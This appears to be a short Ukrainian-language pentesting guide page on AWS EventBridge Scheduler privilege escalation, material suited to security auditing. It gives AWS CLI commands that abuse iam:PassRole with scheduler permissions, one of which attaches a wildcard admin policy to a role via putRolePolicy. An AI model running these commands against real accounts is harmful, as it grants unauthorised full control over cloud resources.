AWS - EventBridge Scheduler Privesc

Reading time: 3 minutes

EventBridge Scheduler

Більше інформації про EventBridge Scheduler у:

AWS - EventBridge Scheduler Enum

iam:PassRole, (scheduler:CreateSchedule | scheduler:UpdateSchedule)

Зловмисник з цими дозволами зможе створити|оновити розклад і зловживати дозволами ролі розкладу, що прикріплена до нього, для виконання будь-якої дії

Наприклад, вони можуть налаштувати розклад для виклику функції Lambda, що є шаблонною дією:

aws scheduler create-schedule \
--name MyLambdaSchedule \
--schedule-expression "rate(5 minutes)" \
--flexible-time-window "Mode=OFF" \
--target '{
"Arn": "arn:aws:lambda:<region>:<account-id>:function:<LambdaFunctionName>",
"RoleArn": "arn:aws:iam::<account-id>:role/<RoleName>"
}'

На додаток до шаблонних дій сервісу, ви можете використовувати універсальні цілі в EventBridge Scheduler для виклику широкого спектра API-операцій для багатьох сервісів AWS. Універсальні цілі пропонують гнучкість для виклику майже будь-якого API. Один з прикладів може бути використання універсальних цілей для додавання "AdminAccessPolicy", використовуючи роль, яка має політику "putRolePolicy":

aws scheduler create-schedule \
--name GrantAdminToTargetRoleSchedule \
--schedule-expression "rate(5 minutes)" \
--flexible-time-window "Mode=OFF" \
--target '{
"Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy",
"RoleArn": "arn:aws:iam::<account-id>:role/RoleWithPutPolicy",
"Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}"
}'

Посилання

• https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html
• https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html